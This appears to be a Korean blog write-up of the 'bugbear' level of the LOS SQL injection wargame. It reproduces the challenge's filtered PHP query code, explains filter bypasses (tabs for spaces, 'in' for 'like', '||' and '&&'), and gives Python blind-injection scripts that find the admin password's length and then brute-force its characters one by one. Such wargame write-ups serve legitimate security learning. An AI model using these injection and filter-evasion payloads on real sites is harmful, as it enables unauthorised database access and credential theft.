//key point 1
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
//key point 2
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
key point 1
like와 띄어쓰기 사용이 불가능하다
like : in
띄어쓰기 : %09(tab)
으로 변경한다
key point 2
addslashes(); 함수가 존재한다
like : in
으로 변경한다
이는 blind sql injection으로 접근해야한다
while True:
payload = "?no=0%09||%09id%09in%09(\"admin\")%09%26%26%09length(pw)%09in%09(" + str(len) + ")"
r = requests.get(url + payload, headers=header_info)
if r.text.find('Hello admin') != -1:
break
len += 1
like 가 사용 불가능하기 때문에, in을 사용한다
위 코드는 우선 length(pw)를 구하는 파이썬 스크립트이다
pw의 길이를 1씩 늘려주면서 비교하고 맞는 숫자가 들어가면 중단한다
위의 코드로 pw 길이가 8 이라는 것을 알 수 있다
길이를 알았으면 pw를 한자리씩 찾아나가야 한다
다음과 같은 코드로 pw를 알아낸다
for i in range(1, len + 1):
for word in string:
payload = "?no=0%09||%09id%09in%09(\"admin\")%09%26%26%09" + "mid(pw," + str(i) + ",1)%09in%09(" + "\"" + word + "\")"
r = requests.get(url + payload, headers=header_info)
if r.text.find('Hello admin') != -1:
password = password + word
print("Finding... : {}".format(password))
break
key로 사용한 것은 mid 이다
즉, mid(pw, "자릿수", 1) like word로 브루트포싱하는 것을 알 수 있다
다음과 같이 비밀번호를 알아낼 수 있다
pw를 입력하면 문제를 해결할 수 있다
끝
'Wargames' 카테고리의 다른 글
[LOS] assassin (0) | 2021.05.24 |
---|---|
[LOS] giant (0) | 2021.05.22 |
[LOS] darkknight (0) | 2021.05.22 |
[LOS] golem (0) | 2021.05.22 |
[LOS] orge (0) | 2021.05.13 |